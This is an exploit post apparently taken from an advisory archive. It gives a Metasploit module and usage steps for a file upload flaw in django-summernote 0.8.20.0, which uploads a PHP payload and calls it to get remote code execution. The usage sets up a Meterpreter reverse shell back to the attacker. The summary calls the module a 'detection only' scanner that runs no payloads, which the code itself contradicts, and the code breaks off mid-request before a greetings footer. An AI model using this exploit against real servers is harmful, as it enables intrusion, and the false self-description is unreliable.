Django Summernote 0.8.20.0 Unrestricted File Upload Scanner
=============================================================================================================================================
| # Title Django Summernote 0.8.20.0 Unrestricted File Upload Scanner
=============================================================================================================================================
| # Title : Django Summernote 0.8.20.0 Unrestricted File Upload Scanner (Auxiliary) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://djangopackages.org/packages/p/django-summernote/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214231/
[+] Summary : This Metasploit Auxiliary Scanner module detects unrestricted file upload vulnerabilities in django-summernote.
It targets misconfigurations where image validation depends on the Pillow library and allows non-image files to be uploaded when Pillow is missing.
The module safely scans common upload endpoints, handles CSRF protection, and confirms vulnerability by observing successful JSON responses containing uploaded file URLs.
It performs detection only, does not execute payloads, and is designed for safe, non-intrusive security assessment.
[+] Usage :
use exploit/unix/http/django_summernote_rce
set RHOSTS 192.168.1.100
set RPORT 80
set TARGETURI /
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST [Your_IP]
set LPORT 4444
check
exploit
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Django Summernote Unrestricted File Upload RCE',
'Description' => %q{
This module exploits an unrestricted file upload vulnerability in django-summernote <= 0.8.20.0.
The vulnerability occurs when the 'Pillow' library is missing from the server environment,
forcing the application to use a 'FileField' instead of an 'ImageField'.
This allows an attacker to upload arbitrary files (such as PHP shells).
If the media directory is misconfigured to allow script execution, Remote Code Execution (RCE) is possible.
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['PHP Payload (Generic)', { 'Platform' => 'php', 'Arch' => ARCH_PHP }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-24',
'References' => [
['URL', 'https://github.com/summernote/django-summernote']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to the Django application', '/'])
])
end
def check
upload_paths = [
'/summernote/upload_editor_file/',
'/summernote/upload_attachment/',
'/admin/summernote/upload_editor_file/'
]
upload_paths.each do |path|
full_path = normalize_uri(target_uri.path, path)
res = send_request_cgi('method' => 'GET', 'uri' => full_path)
if res && (res.code == 405 || (res.code == 200 && res.body.include?('upload_editor_file')))
return Exploit::CheckCode::Appears
end
end
Exploit::CheckCode::Safe
end
def exploit
upload_paths = [
'/summernote/upload_editor_file/',
'/summernote/upload_attachment/',
'/admin/summernote/upload_editor_file/'
]
upload_paths.each do |path|
full_path = normalize_uri(target_uri.path, path)
print_status("Checking endpoint: #{full_path}")
res = send_request_cgi('method' => 'GET', 'uri' => full_path)
next unless res
cookies = res.get_cookies
csrf_token = res.get_cookies_parsed['csrftoken']&.first
filename = "#{Rex::Text.rand_text_alpha(8)}.php"
data = Rex::MIME::Message.new
if csrf_token
data.add_part(csrf_token, nil, nil, 'form-data; name="csrfmiddlewaretoken"')
end
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files\"; filename=\"#{filename}\"")
print_status("Attempting to upload payload: #{filename}")
res = send_request_cgi({
'method' => 'POST',
'uri' => full_path,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookies,
'headers' => { 'Referer' => full_path }, # Referer is often required for Django CSRF
'data' => data.to_s
})
if res && res.code == 200 && res.headers['Content-Type']&.include?('application/json')
begin
json_res = res.get_json_document
file_url = json_res['files'] ? json_res['files'][0]['url'] : json_res['url']
if file_url
print_good("Payload uploaded successfully: #{file_url}")
register_file_for_cleanup(File.basename(file_url))
print_status("Executing payload via GET request...")
send_request_cgi({
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================